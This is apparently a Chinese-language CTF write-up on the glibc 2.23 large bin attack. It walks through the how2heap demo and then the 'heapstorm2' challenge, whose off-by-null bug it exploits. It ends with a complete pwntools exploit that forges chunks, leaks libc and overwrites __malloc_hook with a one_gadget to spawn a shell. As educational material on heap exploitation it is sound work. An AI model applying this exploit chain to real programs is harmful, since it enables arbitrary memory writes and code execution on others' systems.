0%

how2heap - large_bin_attack&heapstorm2

how2heap - large_bin_attack&heapstorm2

ubuntu16.04 libc2.23

large_bin_attack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
/*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
For more details on how large-bins are handled and sorted by ptmalloc,
please check the Background section in the aforementioned link.
[...]
*/

#include<stdio.h>
#include<stdlib.h>

int main()
{
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see glibc_build.sh for build instructions.\n");
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x320);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x400);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x400);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);

free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

return 0;
}

感觉这种画个图的话就很明了,我这里画了一个free(p3)之后的图,unsortedbin上有两个chunk,largebin上有一个chunk

这时largebin中的chunk fd_nextsize和bk_nextsize都指向自己,再来看看等下把chunk从unsortedbin中卸下来之后插入largebin的时候是什么样的

largebin在原代码中的插入(largebin对应bin链有chunk的情况)是这样的:

1582823683795

当我们改了原largebin链中的chunk之后,就变成了这样

此时再插入0x410的chunk(对应victim),就会执行最下面那个else分支中的代码,

1
2
3
4
5
6
7
8
else{
victim->fd_nextsize = fwd;//此时的fwd指向0x3f0的chunk
victim->bk_nextsize = fwd->bk_nextsize;//栈指针给到victim的bk_nextsize
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//此时var2对应的偏移刚好是->bk_nextsize->fd_nextsize
//所以var2会被赋值为victim
}
bck = fwd->bk;//此时bck被设置成了栈指针

接着看,因为后面还会执行一段代码

1
2
3
4
5
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//Here!栈指针指向位置的对应偏移处(var1)就也被赋值成了victim

原理就是这么个原理,任意地址写了两个vicitm的地址上去

下面直接撸题实操吧

heapstorm2

这个题说实话写的时候overlap之后都不知道该怎么用…所以后来就直接参考了wp(跪…真的是前路漫漫啊)

程序分析

首先根据程序的mmap创建一个新的segment,这样在IDA中看起来会好一些

init

程序用mallopt关掉了所有的fastbin,然后用mmap分配了一块固定地址的内存,并在random_area(0x13370800)为起始的位置存放了0x18个字节的随机数据,其中0偏移处的数据用来异或存放堆指针,+1偏移处的数据用来异或存放申请的size
然后+2和+3偏移处,也就是random_area[1]处的两个数据,是被设置成相等的

设置mask的意思也就是说我们在程序中申请的chunk指针还有对应的size都会被异或两个固定值然后放在这块内存区域

alloc

最多只能有16个chunk,按照顺序排放,其中mask_xor函数就是用来xor对应数据的了,mask1用来xor指针,mask2用来异或size,因为random_area的前四个qword都有意义所以我们看到的数组下标都是+2的(这里可以设置一下结构体再优化一下),calloc(size)之后没有赋值操作,所以只是分配

update

update函数中会往chunk里读入数据(长度不能大于size-0xc),在最后再加上0xc长度的数据HEAPSTORM_II,但是补0的时候发生了溢出,构成off_by_null,这也是程序的漏洞点所在

delete

1582822986854

delete函数就是输入下标然后free,并”清空”记录的数据

view

1582823036813

view函数比较苛刻,需要当我们random_area[1]处的两个值异或为0x13377331的时候才能writen,所以一开始leak不了,这也是我当时卡在这个题一直出不来的主要原因

漏洞分析&exploit

程序只有一个off_by_null,所以就只能shrink freed chunk然后构造overlap了(提醒一下自己以后shrink时一定要记得如果chunk被放回了bin链然后再用fit匹配出来时会触发unlink,如果不设置好fake prev_size,由于前面那个size已经被改了所以unlink检查时就会崩掉,免得老在这坑住)

然后后面的思路就是在random_area的上方利用largebin attack写上一个fakesize构造fake chunk,并在对应bk的地方也写上下图中victim的地址,首先是为了下一步操作时有个可写地址,但其实这个bk还有大用处

largebin attack之后利用overlap将映射区域对应fake chunk的固定地址写在新链入unsortedbin中的chunk的bk上,为了把random_area的内存calloc出来。这个过程可能有点绕,画个图帮自己理解一下(这里unsortedbin上的chunk是largebin attack之后放上去的,为了方便我就干脆画在一起了)

当我们利用largebin attack写上值之后,我们在fakechunk上已经有了size和bk,此时的bk是victim

但是由于PIE的映射是0x5?开头的地址,也就是说我们能接着calloc出来的chunk大小不能超过0x50,可用的地方还得再缩小之后减0xC。而且当mask损坏的时候如果指针都不变,将会没有办法继续进行操作(而且这块区域是被初始化过的,好像不能直接在操作中给mask赋值,不过利用那个字符串去计算一个说不定可以),我当时想尽办法想通过这个0x50的chunk实现exploit但是始终不行,所以就又去参考了师傅们的WP,发现师傅们是通过再构造一个再calloc出来的(跪),瞬间就好像又有思路了

我们写的bk是vicitm,所以calloc这个0x5?的chunk之后victim又被放到unsortedbin上面去了,但是如果这个victim chunk内容是我们通过overlap控制的话,就可以再接着控制其bk然后再calloc一个fake chunk,而且此时fakechunk的构造更简单了因为我们已经有了一个0x5?的chunk,可以直接写一个大一点的fakesize

在接着试图calloc random_area时,我们calloc出vicitm之后,还需要把fake chunk的bk再设置一下,因为unsortedbin卸下时需要可写地址,update那个0x5?的chunk就行(写的这个地址因为是libc的,所以在我这个利用中也发挥了很大的用处)

calloc出来这块mem之后,这里的值就全都被置零了,相当于列表清空..效果大概是这样的:

1582946763810

我这里没有清完,其实还可以清的更空一些,不过也够了。我的size设置的位置偏了8 23333因为当时怕影响到后面的数据

可以看到我们calloc出这块mem的时候,因为是先calloc再通过异或指针存到记录上,所以calloc之后的mask全都成0了,存上去的也就是真实值(0x133703d8 0xf0)

然后通过这个记录填上view需要的固定异或值,并填上我们前面写的libc地址的位置,还有size,直接读出来之后有任意地址写了就完事了!

我选择的是写__malloc_hookone_gadget,我看师傅们用的是__free_hook到system然后free一个有/bin/sh字符串的chunk,好像师傅们的更稳定一些,不过到后面任意地址读写之后就简单很多了也不多废话了

这里还记一个看师傅们博客看到的操作,就是largebin attack中如果我们能控制最开始的那个corrupt chunk就能多次利用进行largebin attack

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './heapstorm2' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

'''libc 2.23 x64
0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
req = dest - old_top - 4*sizeof(long)
fastbin addree to size: (offset_to_fastbinY/8+2)<<(4 or 3)
largebin chunksize:0x410|0x450|0x490|0x4C0...
'''
# todo here
def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def update(idx,size,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.sendline(content)
def delete(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
def view(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(idx))

alloc(0x18)#0 for off_by_null
alloc(0xC30)#1 for split
alloc(0x18)#2 for merge
alloc(0x18)#3 guard

payload='\x33'*0xBF0+p64(0xC00)#set fake prev_size
update(1,len(payload),payload)
delete(1)#(0,,2,3)
update(0,0x18-0xc,'a'*(0x18-0xc))#off_bu_null 0xC40->0xC00

#split 1 now
alloc(0xf0)#1 0x100 chunk
alloc(0x400)#4 0x410 chunk large
alloc(0x1f0)#5 0x200 chunk
alloc(0x410)#6 0x420 chunk large
#1 remain:0x131

delete(1)#(0,,2,3,4,5,6) for unlink
delete(2)#(0,,,3,4,5,6) merge&overlap

alloc(0xC50)#1 now chunk 1 overlap (4,5,6,remain) & remain to smallbin

#recover 0x410chunk's size & other chunk's size because of calloc--↓
payload='a'*0xf0
payload+=p64(0)+p64(0x411)
payload+='a'*0x400
payload+=p64(0)+p64(0x201)
payload+='a'*0x1f0
payload+=p64(0)+p64(0x421)
payload+='a'*0x410
payload+=p64(0)+p64(0x131)
update(1,len(payload),payload)
#------------------------------------------------------------------↑

#alloc(0x410)#2 !!!!!!!need a overlap chunk for victim do not alloc one like me before

delete(4)#(0,1,,3,,5,6) overlapped chunk 4 to ub
alloc(0x430)#2 set chunk 4 to largebin

#overwrite chunk 4 ------------------------↓
payload='a'*0xf0
payload+=p64(0)+p64(0x411)
payload+=p64(0)+p64(0x133707c3-0x10)#mmap region above the random area
payload+=p64(0)+p64(0x133707d8-0x20)
update(1,len(payload),payload)#set for largebin attack
#------------------------------------------↑

delete(6)#(0,1,2,3,,5) 0x420chunk to ub
alloc(0x440)#4 0x420 chunk to largebin(largebin attack)

#reset 0x200&0x130 chunk's prev_inuse---------↓
payload='a'*0xf0
payload+=p64(0)+p64(0x411)
payload+=p64(0)+p64(0x133707c3-0x10)#No other meanings,just ctrl+c ctrl+v
payload+=p64(0)+p64(0x133707d8-0x20)
payload+='a'*0x3e0
payload+=p64(0)+p64(0x201)
payload+='a'*0x1f0
payload+=p64(0)+p64(0x421)
payload+='a'*0x410
payload+=p64(0)+p64(0x131)
update(1,len(payload),payload)
#---------------------------------------------↑
#gdb.attach(p,'brva 0x113c')
delete(5)#(0,1,2,3,4)#set 0x200 chunk to ub

#reset 0x200 chunk's bk-----------------------↓
fake_chunk=0x133707c0
payload='a'*0xf0
payload+=p64(0)+p64(0x411)
payload+=p64(0)+p64(0x133707c3-0x10)
payload+=p64(0)+p64(0x133707d8-0x20)
payload+='a'*0x3e0
payload+=p64(0)+p64(0x201)
payload+=p64(0)+p64(fake_chunk)
update(1,len(payload),payload)
#---------------------------------------------↑

alloc(0x1f0)#5 after this we can alloc the first 0x5? chunk
#an we need to pass the the chunk_is_mmapped check in _libc_malloc randomly XD
loginfo()

alloc(0x40)#6 get first mmap region chunk out
update(6,0x18,p64(0x100)+p64(0)+p64(0x133707b0))
#set another fake size&bk,and bk is used for writing libc address:(bck->fd = unsorted_chunks (av))

#reset 0x420 chunk's bk again----------------↓
#because we write the 0x420chunk's address(vicitm) on the bk of 0x5? chunk
#after we malloc out the 0x5? chunk,the 0x420 chunk back to unsortedbin again
#we can control the chunk's bk for malloc out the random_area next time
fake_chunk=0x133707c8
payload='a'*0xf0
payload+=p64(0)+p64(0x411)
payload+='a'*0x400
payload+=p64(0)+p64(0x201)
payload+='a'*0x1f0
payload+=p64(0)+p64(0x421)
payload+=p64(0)+p64(fake_chunk)
payload+='a'*0x400
payload+=p64(0)+p64(0x131)
update(1,len(payload),payload)
#--------------------------------------------↑

#We can allocate a 0x100 chunk at the random_area! Play our leak&write game now!!!!!!!!!!!!!!!!!!
alloc(0x410)#7
alloc(0xf0)#8

#Write the libaddress location&view key at index 0----↓
payload=p64(0)*5+p64(0)*2
payload+=p64(0x0)+p64(0x13377331)
payload+=p64(0x133707c0)+p64(8)
update(8,len(payload),payload)
#-----------------------------------------------------↑
view(0)
p.recvuntil('Chunk[0]: ')
libc_base=u64(p.recv(8))-0x3c4b78
loginfo('libc_base',libc_base)


#__malloc_hook to index 0---------------------↓
payload=p64(0)*5+p64(0)*2
payload+=p64(0x0)+p64(0x13377331)
payload+=p64(0x3c4b10+libc_base)+p64(8+0xc)
update(8,len(payload),payload)
#---------------------------------------------↑

update(0,8,p64(0x4526a+libc_base))
alloc(0x666)

p.interactive()